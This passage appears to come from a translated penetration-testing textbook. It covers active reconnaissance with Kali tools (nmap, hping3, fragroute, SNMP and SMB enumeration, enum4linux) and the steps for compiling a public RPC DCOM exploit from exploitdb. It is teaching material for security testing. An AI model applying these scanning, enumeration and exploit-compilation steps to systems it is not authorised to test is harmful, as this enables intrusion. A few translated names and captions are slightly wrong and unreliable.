虽然IPv4似乎允许一个很大的地址空间，但是，大量可用的IP地址在几年前就已经耗尽，在这种情况下，需使用NAT技术来提供可用地址的数量。一个更持久的解决方法已经找到，即采用改进的IP地址方案IPv6。虽然只有少于5%的因特网在使用IPv6地址，但它的使用率的确在增长，并且渗透测试员必须处理IPv4和IPv6之间的不同。在IPv6中，源地址和目的地址的长度是128位，可扩展为2128个可能的地址，也就是有3.4×1038个地址。

随着可寻址地址空间大小的增加，地址空间对渗透测试员也呈现了一些问题，尤其是使用扫描器在可用地址空间中寻找在线服务器的时候。然而一些IPv6协议的特征已经简化了发现过程，尤其是使用ICMPv6确定活跃的本地链路地址。

针对如下情况，执行初始浏览时考虑IPv6是很重要的：

·测试工具对IPv6功能的支持是不均匀的，所以测试员必须确定每一个工具在IPv4、IPv6、混合网络中的性能和准确性。

·由于IPv6是一个相当新的协议，目标网络可能包含泄漏重要数据的错误配置；测试员必须识别并利用这个信息。

·早先的网络协议（防火墙、IDS和IPS）可能不会测出IPv6。在这些情况下，渗透测试员可以利用IPv6信道保持与网络的隐蔽通信，并泄漏出未检测到的数据。


3.3.2　使用IPv6专用工具

Kali包含几个利用IPv6的工具（大多数综合的扫描器例如nmap现在也支持IPv6），见表3.3，绝大部分支持IPv6的工具源自THC-IPv6攻击包。

表3.3　Kali包含的支持IPv6的工具
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Metasploit也可以用于IPv6主机发现。auxiliary/scanner/discovery/ipv6_multicast_ping模块将发现具有物理（MAC）地址的所有启用IPv6的计算机，如图3.11所示。
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图3.11　执行auxiliary/scanner/discovery/ipv6_multicast_ping命令

THC IPv6套件atk6-alive6将发现同一段中的实时地址，如图3.12所示。
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图3.12　执行atk6-alive6命令


3.3.3　映射路由到目标

路由映射最开始是一个路由诊断工具，用于查看IP数据包从一个主机到另一个主机的路由连接。通过使用IP数据包中的存活时间TTL（time to live）变量，每一跳（hop）在从一点到下一点时，从接收路由器引出一个ICMP TIME_EXCEEDED消息，同时TTL字段的值减1。数据包计算跳以及使用的路由器的数量。

从攻击者或者渗透测试员的角度看，traceroute数据有以下重要数据：

·攻击者与目标之间的准确路径。

·关于网络外部拓扑结构的提示。

·确定可能过滤攻击流的访问控制设备（防火墙和包过滤路由器）。

·如果网络配置错误，可能会识别内部地址。

使用基于Web的traceroute（www.traceroute.org
 ），可以追查到目标网络不同地理位置的源地址。这些形式的扫描，可以定期地识别不止一个连接目标的不同网络，在一个接近目标网络的位置，通过执行单个的traceroute，可能忽略掉一些扫描识别信息。基于Web的traceroute可能识别多重初始地址的主机，该主机把两个或者更多个网络连接起来。这些主机是攻击者的重点攻击目标，因为它们大幅度提高了对目标网络的攻击面。

在Kali系统中，traceroute是一个命令行程序，利用ICMP包来映射路由；在Windows系统中，该程序是tracert。

如果在Kali中启动traceroute，你可能看到大多数过滤掉的跳（用***表示数据）。例如，从作者现在的位置到www.google.com
 ，执行traceroute命令的结果如图3.13所示。
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图3.13　在Kali中使用traceroute命令

然而，在Windows环境中，如果用tracert执行相同的请求，我们可以看到如图3.14所示的信息。
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图3.14　在Kali中使用tracert命令

我们不仅能得到完整的路径，而且还能看到www.google.com
 正被解析为一个略有不同的IP地址，这表明负载均衡器是起作用的（你可以使用Kali的lbd脚本来确认其是否起作用，当然，该活动可能被目标位置记录）。

默认情况下，这是不同路径存在的原因，在Kali环境中，traceroute用于UDP数据报，而在Windows环境中，tracert使用ICMP返回请求（ICMP type 8）。因此，当使用Kali工具完成一个traceroute时，为了获得最完整的路径并绕过数据报过滤设备，使用多重协议是很重要的。

Kali提供下列工具来完成路由追踪，见表3.4。

表3.4　Kali提供的路由扫描工具
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由于对数据包类型、源数据包，以及目的数据包的控制，hping3已成为最有用的工具之一。例如，Google不允许ping请求。然而，如果将发送数据包作为一个TCP SYN请求，则有可能ping通服务器。

在下面的例子中，测试员试图在命令行中ping通谷歌。返回的数据确定了www.google.com
 是一个未知的主机；谷歌很明显阻塞了基于ICMP的ping命令。然而，下一条命令调用了hping3，命令它做以下事情：

·使用有SYN标识集（-S）的TCP向谷歌发送一个类ping命令。

·把数据包直接发送到80端口，该类型的合法请求是很少阻塞的（-p 80）。

·为发送给目标的三个数据包设置计数（-c 3）。

执行上面的步骤所使用的命令行如图3.15所示。

hping3命令成功地确定了在线目标，并提供了基本的路由信息。
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图3.15　在Kali中使用ping命令和hping3命令


3.4　识别外部网络基础设施

一旦测试者的身份已被保护，扫描网络关键的第一步就是确定在网络上的因特网可接入部分的设备。

攻击者和渗透测试人员使用这些信息来做到以下几点：

·确定可能混淆设备（负载平衡器）或消除（防火墙和数据包检查设备）测试结果。

·识别已知漏洞的设备。

·继续实施隐形扫描来识别设备。

·获得目标的理解，重点是安全体系结构和一般安全性。

跟踪路由（traceroute）提供了关于包过滤能力的基本信息；Kali的一些其他应用包括的内容如表3.5所示。

表3.5　Kali的一些常见应用
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图3.16显示的是运行在lbd脚本上的针对Facebook的结果；你可以看到，谷歌在它的网站上同时使用DNS–负载平衡与HTTP–负载平衡。从渗透测试者的角度来看，这些信息可以用来解释为什么得到的是杂散的结果，因为负载平衡器作为一个特定的工具，将活动从一个服务器转移到了另一个。
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图3.16　针对Facebook的测试结果


3.5　防火墙外映射

攻击者通常使用traceroute实用程序启动网络调试，该程序将尝试把路由上的所有主机映射到特定的目标主机或系统上。一旦目的到达，TTL字段将为零，则目标将丢弃该数据报并生成超过ICMP时间的数据包返回到发起者。定期的跟踪路由如图3.17所示。
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图3.17　执行traceroute程序进行路由跟踪

从上面的例子可以看出，我们不能超越一个特定的IP：这意味着最有可能在第4跳有一个包过滤设备。攻击者会深入了解该IP上部署的内容。

部署默认UDP数据报选项，它会在每次发送UDP数据报时增加端口号。因此，攻击者将开始指向一个端口号码以达到最终的目标地址。


3.6　IDS/IPS识别

渗透测试员可以利用fragroute和WAFW00F来识别特定位置是否存在任何检测或预防机制，例如入侵检测系统（Intrusion Detection System，IDS）/入侵防御系统（Intrusion Prevention System，IPS）/Web应用防火墙（Web Application Firewall，WAF）。

fragroute是Kali Linux中的一个默认工具，它是碎片化的。网络数据包允许攻击者拦截、修改并重写到特定目标的出口流量。该工具在高度安全的远程环境中非常方便。

图3.18提供了fragroute中确定网络ID的选项列表。
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图3.18　使用fragroute命令的截图

攻击者还可以编写自己的自定义配置来执行碎片攻击：延迟、复制、丢弃、分片、重叠、重新排序、源路由和分段。图3.19为一个自定义配置的示例。
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图3.19　自定义配置示例

在目标上运行fragroute和运行fragroute target.com，一样简单；如果target.com发生任何连接，攻击者就可以看到要发送到target.com的流量。如图3.20所示，IP段按照自定义配置文件分段：
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图3.20　查看其他IP发送到目标IP所用流量

攻击者在主动侦察期间利用的另一个工具是WAFW00f。此工具预先安装在最新版本的Kali Linux中。它用于识别和指纹Web应用程序防火墙（Web Application Firewall，WAF）产品。它还提供了众所周知的WAF列表。可以通过在命令中输入switch-l（例如，Wafw00f-l）来列出该列表。

图3.21提供了在Web应用程序后运行的WAF。
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图3.21　WAF列表


3.7　枚举主机

主机枚举是获得特定主机的特定细节的过程。主机枚举不知道服务器或无线接入点的存在；相反，我们需要确定开放端口、基本操作系统、运行的各种服务、支撑的各种应用等内容，来不断扩大攻击面。

这具有高度的侵入性，除非特别小心，否则主动侦察将被目标系统检测到，并被记录。

发现活动的主机

第一步是运行针对目标地址空间的网络ping扫描并寻找答复，特别的信息会表明一个特定的目标是活动的、有能力应答的。从历史经验看，ping侦测主要使用ICMP；当然，TCP、UDP、ICMP和ARP通信也可用于鉴定主机的活动情况。

各种扫描器可以通过Internet远程运行，用来确定主机的活动性。虽然主扫描器是nmap，但Kali提供的另外几种应用也是有用的，如表3.6所示。

表3.6　Kali提供的几种扫描应用
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对于渗透测试者或攻击者，从活动主机返回的数据用来确定活动目标为攻击目标。

进行渗透测试的同时，运行多个主机发现扫描。某些设备可能是时间相关的。在一次渗透测试中，发现系统管理员在正常工作时间结束后，建立了与游戏服务器的连接。因为游戏服务器不是一个经批准的商业系统，管理员没有按照正常的过程来保护服务器；在其上发现了多个脆弱的服务，它们并没有打上必要的安全补丁。测试人员能够攻击游戏服务器，在管理员的游戏服务器中，使用漏洞并获得企业网络的底层接入。


3.8　端口、操作系统和发现服务

Kali提供了几种不同的有用工具，用于识别远程主机上的开放端口、操作系统和安装的服务。这些功能大多可以使用nmap完成。尽管我们将专注于利用nmap的例子，但基本原则也适用于其他工具。

端口扫描

端口扫描是连接到TCP和UDP端口，以确定何种服务、何种应用程序在目标设备上运行的过程。在每个系统上的TCP和UDP有65535个端口。某些端口已知与特定服务相关联（TCP 20和TCP 21是用于文件传输协议服务（FTP）的通用端口）。前1024个是众所周知的端口，并且定义的大多数服务在此范围内的端口上运行；IANA维护着被认可的服务和端口（http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml
 ）。

虽然，对一些特定的服务存在已被接受的端口，如80端口为基于网络的流量的接受端口，但是，服务可以直接使用任何端口。此选项通常用于隐藏特定的服务，特别是如果已知该服务是易受攻击的。然而，如果攻击者完成端口扫描，并没有找到预期的服务，或发现它使用了一个不寻常的端口，他们将被提示作进一步调查。

通用端口映射工具nmap依靠活动栈指纹。特制的数据包被发送到目标系统，nmap以操作系统对这些数据包的响应来识别这些操作系统。为了使nmap正常工作，至少须有一个监听端口是开放的，而操作系统必须是已知和有指纹的，还有，该指纹的副本必须在本地数据库。

将nmap用于端口发现是有很大的噪声的，将被网络安全设备检测并记录。要记住的几点如下：

·侧重于隐形技术的攻击者和渗透测试者只注意测试端口，那么，将影响他们锁定目标的杀链。如果他们已在发起了对Web服务器的漏洞的攻击，他们将寻求80端口或8080端口可访问的目标。

·大多数端口扫描器都有一个默认扫描端口列表，前提是相信你知道什么在名单上，什么被省略。同时考虑TCP端口和UDP端口。

·成功的扫描需要TCP/IP及相关协议、网络和一些特殊工具的深度知识。例如，SCTP是网络上一个越来越普遍的协议，但它在企业网络测试时很少使用。

·即使慢慢来，端口扫描也会影响网络。对一些较旧的网络设备，以及供应商的一些特定设备，在接收到端口扫描时会锁定，从而把扫描转换为一个拒绝服务攻击。

·用来扫描一个端口的工具，尤其是nmap，正在扩展常规的功能。它们也可以用来检测漏洞，甚至利用简单的安全漏洞。


3.9　使用netcat编写自己的端口扫描器

攻击者利用代理应用程序和Tor网络，也可以编写自己的网络端口扫描器。通过netcat应用以下命令行，即可在渗透测试中识别开放端口列表，如图3.22所示。
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相同的脚本还可以修改为在单个IP上攻击多个目标，如以下代码所示：
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在使用自定义端口扫描器的扫描入侵检测系统时，被警报的概率很高。
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图3.22　查看开放端口列表


3.9.1　指纹识别操作系统

确定远程系统的操作系统类型，使用以下两种类型的扫描。

·主动指纹识别（active fingerprinting）：攻击者通过发送正常的和异常的数据包到目标系统，记录它们的反应模式，称其为指纹（fingerprint）。将指纹与本地数据库进行比较，操作系统可被确定。

·被动指纹识别（passive fingerprinting）：攻击者嗅探，或记录和分析数据包流，以确定该分组的特性。

主动指纹比被动指纹更快、更准确。在Kali中，有两个主要的主动工具是nmap和xprobe2。

nmap工具注入数据包到目标网络，并分析它收到的响应。如下命令中，-O标志命令nmap确定操作系统。
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一个相关的程序，xprobe2使不同的TCP、UDP和ICMP数据包绕过防火墙，避免被IDS/IPS系统检测。xprobe2还使用模糊模式匹配：未识别操作系统被确定为一种类型；相反，被分配为几个可能的变体之一。

[image: ]


注意，对目标系统隐藏真实操作系统是简单的。因为指纹软件依赖于分组包设置，如生存时间或初始窗口大小，改变这些值或其他用户可配置的设置，可以改变工具的结果。有些组织积极改变这些值，使侦察的最后阶段更加困难。


3.9.2　确定主动服务

侦察的枚举部分的最终目标是确定运行在目标系统上的服务和应用。如果可能的话，攻击者想知道服务类型、供应商和版本，以确定具体的漏洞。

下面是用于确定主动服务的几种技术：

·确定默认的端口和服务：如果远程系统被标识为微软操作系统打开服务端口80（WWW服务），攻击者可能会认为默认安装的是微软IIS服务器。进一步的测试将被用来验证这种假设（nmap）。

·标志提取：完成该任务，使用amap、netcat、nmap和远程登录等工具。

·审查默认网页：一些应用程序安装使用默认的管理、错误或其他页面。如果攻击者访问这些页面，他们会提供安装应用程序的指导，这可能是攻击的漏洞。在图3.23中，攻击者可以很容易地识别已经安装在目标系统上的Apache Tomcat的版本。

·审查源代码：配置不当的Web应用程序可能应答某些HTTP请求，如头部（HEAD）或选项（OPTIONS）的回应包括有Web服务器软件版本，或基本操作系统，或者使用的脚本环境。在图3.23中，netcat是从命令行启动的，并用于将原始HEAD数据包发送到特定网站。该请求将生成一个错误（找不到404）消息；然而，它也指出，该服务器正在运行微软的IIS，版本为7.5。
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图3.23　审查源代码


3.10　大规模扫描

有时，存在大量的目标，需要进行大规模的扫描。例如，在一个全球化公司中，通常有一些IP分组作为外部互联网的一部分存在。如第2章中提到的，攻击者的扫描没有时间限制，但渗透测试人员有。测试员可以使用多种工具来执行活动；Masscan是其中一种工具，它可以大规模扫描IP分组，并迅速分析目标主机是否活动。在默认情况下，Masscan安装在Kali中。Masscan的最大优势是随机分配主机和速度，具备灵活性和兼容性。图3.24提供了一个C类扫描网络，几秒钟内就可以完成并识别在目标主机可用端口上运行的服务。
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图3.24　用Masscan大规模扫描


3.10.1　DHCP信息

动态主机配置协议（Dynamic Host Configuration Protocol，DHCP）是一种为网络上的主机动态分配IP地址的服务。该协议在TCP/IP协议栈的数据链路层的MAC子层上运行。选择自动配置后，客户端将向DHCP服务器发送广播查询，当从DHCP服务器收到响应时，客户端再向DHCP服务器发送广播查询请求所需信息。服务器现在将为其分配配置参数（如子网掩码、DNS和默认网关）及一个IP地址。

一旦连接到网络，嗅探（Sniffing）就是被动收集信息的最好方法。攻击者能够看到很多广播流量，如图3.25所示。
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图3.25　攻击者嗅探到各种信息

我们将看到DNS、NBNS、BROSWER和其他协议的流量，而且这些协议可能会泄露主机名、VLAN信息、域，以及活动子网等。我们将在第11章中讨论更多的攻击。


3.10.2　内部网络主机的识别与枚举

如果攻击者系统已经配置了DHCP，它会提供一些对内部网络映射非常有用的信息。可以通过在Kali终端输入ifconfig来获得DHCP信息，如图3.26所示。
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图3.26　用ifconfig命令获取DHCP信息

你将看见以下信息：

·inet：DHCP服务器获取的IP信息应当给我们提供可能有效的子网，我们可以通过不同的扫描技术来识别实时系统和服务的列表。

·netmask：此信息可用于计算子网范围，图3.26显示的是255.255.240.0，这意味着CIDR是/20，我们可能期望子网上有4094台主机。

·Default gateway：网关的IP信息将提供ping其他类似网关IP的机会。例如，如果默认网关IP为192.168.1.1，则使用ping扫描攻击者可能能够枚举出其他类似的IP，如192.168.2.1、192.168.3.1等。

·其他IP地址：可通过访问文件/etc/resolv.conf获取DNS信息。该文件中的IP地址通常在所有子网中进行寻址，域信息也将在同一文件中自动使用。


3.10.3　本地MS Windows命令

表3.7提供了渗透测试或红队练习时的有用命令列表，甚至具有对系统的物理访问，或远程shell与目标进行通信。这些命令不仅仅包括以下内容。

表3.7　命令列表
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3.10.4　ARP广播

在内部网络主动侦察期间，可以使用nmap（nmap-v-snIPrange）扫描整个本地网络，以嗅探ARP广播。此外，Kali可使用arp-scan（arp-scan IPrange）来标识在同一网络上存活的主机列表。

图3.27提供了针对整个子网运行arp-scan时在目标处生成的流量，这被认为是非隐形扫描。
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图3.27　查看运行arp-scan时在目标处生成的流量


3.10.5　ping扫描

ping扫描是ping整个网络IP地址或单个IP，以查明它们是否存活和响应的过程。攻击者在任何大规模扫描中的第一步是枚举所有响应的主机。渗透测试人员可以利用fping、nmap，甚至是自己编写的bash脚本进行活动。
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有时，由于防火墙阻止所有ICMP流量，攻击者可能会在ping扫描期间遇到路障。在ICMP分组的情况下，可以通过在ping扫描期间指定端口号的特定列表来进行识别，需要使用如下命令：
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图3.28显示了使用fping工具发现的所有存活的主机。
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图3.28　使用fping发现存活的主机


3.10.6　使用脚本组合Masscan和nmap扫描

在我们的基于目标的渗透测试策略中，Masscan的速度和可靠性与nmap的枚举能力相结合，是一个伟大的组合。本节将编写一个可以节省时间的小脚本，用于在开发过程和确定正确漏洞的过程中提供更准确的结果：
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现在保存文件到anyname.sh和chmod+x anyname.sh。再运行命令：./anyname.shfilein-cludesipranges，如图3.29所示。
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图3.29　执行脚本文件


3.10.7　利用SNMP

SNMP代表简单网络管理协议；传统上它用于收集有关网络设备配置的信息，如打印机、集线器、交换机、互联网协议的路由器和服务器。攻击者可能会利用在UDP端口161（默认情况下）运行的SNMP，当配置不正确或缺省时，默认配置有一个默认社区字符串（community string）。SNMP自1987年开始开发：版本1传输明文密码，版本2c有一些性能的改进，但仍然是纯文本密码，最新的v3加密了具有消息完整性的所有流量。

在所有版本的SNMP中都有两种类型的社区字符串：

·Public：community sting用于只读访问。

·Private：community sting用于读写访问。

攻击者首先要寻找的是互联网上的任何已识别的网络设备，并查明是否启用公共社区字符串，以便他们能够提取特定于某网络的所有信息，并绘制拓扑以创建更集中的攻击。这些问题的出现，是因为大多数时间基于IP的访问控制列表（IP-based Access Control Listing，ACL）通常未被实现或未被使用。

Kali Linux提供了多种工具来完成SNMP枚举，攻击者可以利用以下snmpwalk命令了解SNMP步骤的完整信息，如图3.30所示。
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图3.30　用snmpwalk了解SNMP步骤的完整信息

攻击者还可以使用Metasploit执行SNMP枚举，方法是使用/auxiliary/scanner/snmp/snmpenum模块，如图3.31所示。某些系统已安装SNMP，但系统管理员可能忽略它。
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图3.31　用Metasploit执行SNMP枚举

攻击者将能够通过Metasploit中的账户枚举模块来提取所有用户账户，如图3.32所示。
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图3.32　提取目标用户账户


3.10.8　通过服务器消息块（SMB）会话的Windows账户信息

通常，在内部网络扫描期间，攻击者很有可能利用最常用的内部SMB会话。而在外部，攻击者可以使用nmap来执行枚举，但这种情况非常少见。以下nmap命令将枚举Windows机器上的所有远程用户。此信息通常会在后期创建许多入口点，例如强制攻击和密码猜测攻击：
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攻击者还可以使用Metasploit模块——auxiliary/scanner/smb/smb_enumusers来执行活动。图3.33显示了Windows系统上运行Metasploitable3的用户的成功枚举。
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图3.33　用Metasploitable3执行枚举

这可以通过对系统有效的密码猜测或者强制SMB登录来实现。


3.10.9　查找网络共享

最近已经忘记的、渗透测试人员最早使用的攻击之一是NETBIOS空会话，该攻击可以枚举出所有的网络共享：
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同样，利用enum4linux（类似于来自bindview.com的enum.exe），此工具通常用于枚举来自Windows和Samba系统的信息：
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选项有（类似enum）：

·-U：获取用户列表

·-M：获取机器列表

·-S：获取共享列表

·-P：获取密码策略信息

·-G：获取组和成员列表

·-d：详细说明，适用于-U和-S

·-u user：指定要使用的用户名（默认为""）

·-p pass：指定要使用的密码（默认为""）

enum4linux能提供更有效的扫描，并可标识域名列表和Domain SID，如图3.34所示。
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图3.34　用enum4linux扫描IP地址


3.10.10　主动侦察目录域服务器

通常在内部渗透测试活动期间，渗透测试人员会获得用户名和密码。在现实中，攻击者在网络上的攻击方案是通过正常的用户访问来提升权限，从而达到攻破企业域的目的。

Kali提供了一个默认安装的rpcclient，可用于在活动目录环境中执行更主动的侦察。该工具提供了多个选项来提取关于域和其他网络服务的所有细节，我们将在第11章中进行探讨。

图3.35提供了域、用户和组列表的枚举。
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图3.35　用rpcclient工具进行枚举


3.10.11　使用综合工具（SPARTA）

为加快完成渗透测试者的目标，Kali拥有SPARTA，它结合了多种工具，如nmap、nikto，并且还允许进行配置。为了配置SPARTA，用户必须编辑位于/etc/Sparta/的sparta.conf文件。当应用程序打开时，SPARTA将检查配置，如果没有配置，它将接受默认配置值。

在配置中可使用以下选项：

·工具（Tool）：命令行工具的唯一标识符，例如nmap。

·标签（Label）：显示在上下文菜单上的文本。

·命令（Command）：通常是非交互模式和使用工具运行的完整命令。

·服务（Services）：这些是在自动运行期间需要运行的服务列表，例如，如果用户配置为运行nmap并且自动识别端口80，请运行nikto。

·协议（Protocol）：TCP或UDP是工具应该运行于其上的服务。


3.10.12　配置SPARTA的示例

要将工具nikto配置为端口操作，我们需要将以下行添加到sparta.conf中的[PortActions]部分：
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图3.36提供SPARTA针对本地子网的操作。在默认情况下，SPARTA可以在任何标识的Web服务端口上执行nmap全端口扫描和nikto，并且还可以使用截图（如果可用）。
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图3.36　使用SPARTA对本地子网进行操作


3.11　小结

我们现在已经深入了解了主动侦察：在这些活动中攻击者面临着被发现的风险。从技术角度而言，攻击者在进行网络映射、查询开放端口、判定操作系统类型及安装应用程序等活动时，需要进行风险和需求的平衡。所以攻击者的真正挑战是采取隐身扫描技术，以降低他们被发现的风险。

手工方法通常用于创建低速扫描（slow scan），然而，这种做法可能并不总是有效。因此，攻击者利用Tor网络以及各种代理程序等工具来隐藏自己的身份。

在下一章，我们将重点关注如何使用脆弱性评估工具和技术，了解扫描程序如何识别漏洞，以及如何准备潜在的漏洞侦测。


第4章　漏洞评估

“找到一个风险是学习，识别风险的能力是一种技能，利用风险仅仅是一个选择。”

被动侦察和主动侦察的目的是确定可利用的目标，漏洞评估的目的是找出最有可能支持测试者或攻击者目标（拒绝服务、盗窃或修改数据）的安全漏洞。在杀链的利用阶段，漏洞评估的重点是创建访问以实现漏洞的目标映射，以排列漏洞和保持对目标的持续访问。

数以千计可利用的漏洞已经确定，而且大多数是与至少一个概念验证代码或技术相关联的，允许系统受到攻击。尽管如此，网络、操作系统和应用程序成功的基本原理是相同的。

在本章中您将学到：

·使用网上以及本地漏洞资源

·使用nmap进行漏洞扫描

·LUA脚本

·编辑自己的nmap NSE脚本

·搜索和自定义各种漏洞扫描器

·威胁建模


4.1　漏洞命名

漏洞扫描采用自动化过程和自动化应用程序，以确定在网络、系统、操作系统或应用程序中可能利用的漏洞。

当执行正确时，一个漏洞扫描装置提供一个设备清单（授权和恶意设备），已经主动扫描已知的漏洞，通常还会提供一个确认的符合该设备的各种政策和法规的说明。

不幸的是，漏洞扫描提供一些容易被大多数网络控制检测到的噪声——多分数据包，隐形几乎不可能实现。它们还遭受以下附加的限制：

·在大多数情况下，漏洞扫描器是基于签名的，它们只能检测已知的漏洞，且仅当有一个已经存在的识别标志——该扫描仪可以应用于目标。对一个渗透测试者，最有效的扫描软件是开源的，允许测试人员快速修改代码来检测新的漏洞。

·扫描器产生大量的输出，通常包含错误结果，可能导致测试人员误入歧途；特别是，不同的网络操作系统，产生的不正确信息的比率高达70%左右。

·扫描器可能对网络有负面影响，他们可以创建网络延迟或导致某些设备的失效（参照网络扫描列表（Network Scanning Watch List），网址为www.digininja.org
 ，其中列出了漏洞测试引起的已知失效的设备）。

·在某些控制区，扫描被认为是黑客攻击，并可能构成违法行为。

有多个商用的和开源的漏洞扫描软件。


4.2　本地和在线漏洞数据库

总之，被动侦察和主动侦察确定了目标的攻击面，也就是说，可以对漏洞进行评估的点的总数。服务器是否能够被渗透与所安装的操作系统是否存在漏洞相关；然而，潜在的漏洞数量将随着安装的应用程序的数量的增长而增长。

渗透测试者和攻击者必须找到即将攻击的具体漏洞，包括已知的漏洞以及怀疑的漏洞。漏洞搜索可以从供应商的网站开始；在发布补丁和升级的同时，大多数的硬件和应用程序供应商会提供和安全漏洞相关的信息。如果一个特定弱点的利用是已知的，大多数供应商都会向客户强调那些特定的、已知的漏洞。虽然他们的目的是让客户来测试漏洞是否存在，但同时，攻击者和渗透测试者也可以利用这类信息。

收集、分析和共享有关漏洞的网站信息如下：

·国家漏洞数据库（The National Vulnerability Database）整合了所有由美国政府发布的公开漏洞数据：http://web.nvd.nist.gov/view/vuln/search
 。

·安全监控网站Secunia：http://secunia.com/community/
 。

·数据包风暴（Packetstorm）安全网址：http://packetstormsecurity.com/
 。

·安全焦点（SecurityFocus）网址：http://www.securityfocus.com/vulnerabilities
 。

·由Offensive Security维护的可以利用的漏洞数据库网址：http://www.db-exploit.com
 。

漏洞数据库也被复制到本地Kali，并且可以在/usr/share/exploitdb目录中找到。

搜索漏洞数据库（exploitdb）的本地副本，需要打开终端窗口，在命令提示符下输入searchsploit和需要搜索的关键词。这将调用一个脚本，脚本搜索含所有漏洞列表的数据库文件（.csv）。搜索将返回对已知漏洞的描述，以及和该漏洞相关的路径。特定漏洞可以被提取、编译和运行。图4.1是漏洞数据库的查询图。
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图4.1　查询漏洞数据库（exploitdb）

搜索脚本从左至右扫描数据库CSV文件中的每一行，因此搜索项的顺序很重要，对于oracle 10g数据进行搜索将返回多个漏洞，但10g oracle数据本身不会返回任何漏洞。并且，该脚本是区分大小写的；虽然对搜索词要求使用小写字符，搜索Bulletproof FTP不会返回任何结果，但搜索bulletproof FTP会返回7个结果。可以通过使用grep命令，或搜索工具如KWrite（apt-get install kwrite），对数据库文件CSV进行更有效的搜索。

通过扫描和路径列表对本地数据库进行搜索，可以识别几种可能的漏洞；然而，这需要根据你的相应环境进行定制，并在使用前进行编译。复制漏洞到/tmp目录下（给定路径不考虑保留在/platforms目录中的/windows/remote目录）。

漏洞利用以脚本的形式呈现，例如，Perl、Ruby和PHP等，都是相对易于实现的脚本语言。例如，如果攻击目标是Microsoft II 6.0服务器，攻击者会相对容易绕过远程认证，复制该漏洞利用到根目录，然后像标准的Perl脚本那样执行，如图4.2所示。
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图4.2　运行标准的Perl脚本

许多漏洞在使用前必须像源代码那样进行编译。例如，搜索RPC-specific漏洞，识别多种可能的漏洞利用。摘录如图4.3所示。

RPC DCOM漏洞识别工具，如76.c，实践中证明它是相对稳定的。因此，我将用它作为例子。为了编译该漏洞利用工具，首先将它从存储目录复制到/tmp下。在该位置，使用GCC的命令进行编译，命令如下：
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图4.3　PRC漏洞利用编译截图

这里将使用GNU编译器集（GNU Compiler Collection）对76.c进行编译，然后输出（-o）文件76.exe，如图4.4所示。
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图4.4　用GNU编译76.c，生成76.exe

当针对目标调用应用程序时，你必须使用如下所示的符号链接来调用可执行文件（该文件并未存储在/tmp目录）：
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这个漏洞利用的源代码有清晰的文档记录，并且，需要执行的参数一目了然，如图4.5所示。
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图4.5　76.exe文件的运行参数

遗憾的是，不是所有来自漏洞数据库和其他公共资源的漏洞都像76.c一样容易编译。这里为渗透测试者列出了几种可能存在危险的漏洞利用情况：

·会经常遇到蓄意的错误或不完整的源代码，因此有经验的开发人员尽量让漏洞远离没有经验的用户，尤其是试图破坏系统但又不清楚自己行为将带来什么风险的新手。

·漏洞利用并不总是有详尽的文档解释；毕竟，没有一个标准用于管理数据系统攻击代码的创建和使用。作为一个结果，实践往往较为困难，特别是对于缺乏应用开发的测试者。

·由于环境变化导致行为不一致（新的补丁应用到目标系统、目标应用程序中的语言变化）可能需要对源代码进行重大调整；这需要一个有经验的开发人员。

·免费提供的、包含恶意的代码，总是存在风险。渗透测试人员可能会认为他是在进行概念验证（POC）练习，并不知道该代码同时为该应用程序建了一个后门，可以供开发者使用。

为了确保结果的一致性，遵循一致性实践的程序员创建了一个程序员社区，已经开发出几种渗透利用的框架。其中，最为流行的是Metasploit框架。


4.3　用nmap进行漏洞扫描

没有nmap就不能安全运行分配，到目前为止，我们已经讨论了如何在主动侦察中使用nmap，但攻击者不仅会用nmap来查找开放的端口和服务，而且还会用nmap来执行漏洞评估。截止到2017年3月10日，nmap的最新版本是7.40，附带500+NSE（nmap脚本引擎）脚本，如图4.6所示。
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图4.6　查看nmap 7.40的脚本库

渗透测试人员能够利用nmap最强大和最灵活的功能，编写自己的脚本，并使其自动化以方便利用。开发NSE的主要原因如下：

·网络发现：攻击者利用nmap的主要目的是网络发现，正如我们在第3章的主动侦察中所学到的一样。

·服务的分类版本检测：共计1000种服务。把多个版本的详细信息集中到同一个服务上显得更加复杂。

·漏洞检测：在广泛的网络范围内自动识别漏洞；然而，nmap本身并不完全是漏洞扫描程序。

·后台检测：如果网络上有任何蠕虫感染，一些脚本将被写入以识别该模式，这样使得攻击者的工作变得更集中，能专注于远程接管机器。

·漏洞利用：结合nmap的漏洞利用能力，攻击者还可以利用nmap与其他工具（如Metasploit）结合开发，或者编写一个定制的反向shell代码。

在启动nmap执行漏洞扫描之前，渗透测试人员必须更新nmap脚本数据库，查看是否有新脚本添加到数据库中，防止错过该漏洞识别：

[image: ]


针对目标主机运行所有脚本：
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4.3.1　LUA脚本介绍

一种轻量级嵌入式脚本语言，1993年在巴西创立的，建立在C语言之上，至今仍然在积极发展中。它是一种强大而快速的编程语言，主要用于游戏应用和图像处理。一些平台的完整的源代码、手册和二进制文件一般不超过1.44MB（小于软盘）。LUA开发的安全工具有nmap、Wireshark和Snort 3.0等。

选择LUA作为信息安全的脚本语言的原因之一是由于紧凑性，没有缓冲区溢出和格式化字符串漏洞，并且可以做出解释。

LUA可以通过在终端上使用apt-get install lua5.1命令直接安装到Kali Linux。以下代码是用于读取文件并打印第一行的示例脚本：
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LUA类似于任何其他脚本，例如bash和PERL脚本。图4.7是前面的脚本的输出结果。
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图4.7　执行上述脚本文件的结果


4.3.2　自定义NSE脚本

为了实现效率最大化，自定义脚本有助于渗透测试人员在规定时间内找到正确的漏洞。但是，攻击者并没有时间限制。以下代码是一个LUANSE脚本，使用nmap标识在整个子网上搜索的特定文件位置：
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将文件保存到/usr/share/nmap/scripts/文件夹中。最后，保证可运行NSE脚本，准备好进行脚本测试，如图4.8所示。
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图4.8　用nmap执行LUANSE脚本

为了了解上面的NSE脚本，这里解释代码中的内容：

·local http:需要http-从LUA调用正确的库，该行调用HTTP脚本并将其作为本地请求。

·Description：测试者/研究人员可以输入脚本的解释。

·Categories：这通常有两个变量，其中一个声明它是安全还是侵入。


4.4　Web应用漏洞扫描器

使用自动化工具扫描漏洞可能会产生问题。网络漏洞扫描器具有所有扫描器的共同缺点（扫描器只能检测已知漏洞的签名，它们不能确定一个漏洞实际上是否还可以被利用；还有就是假阳性的报告发病率很高）。此外，网页漏洞扫描器不能识别业务逻辑的复杂错误，它们没有准确地模拟黑客所使用的复杂链接攻击。

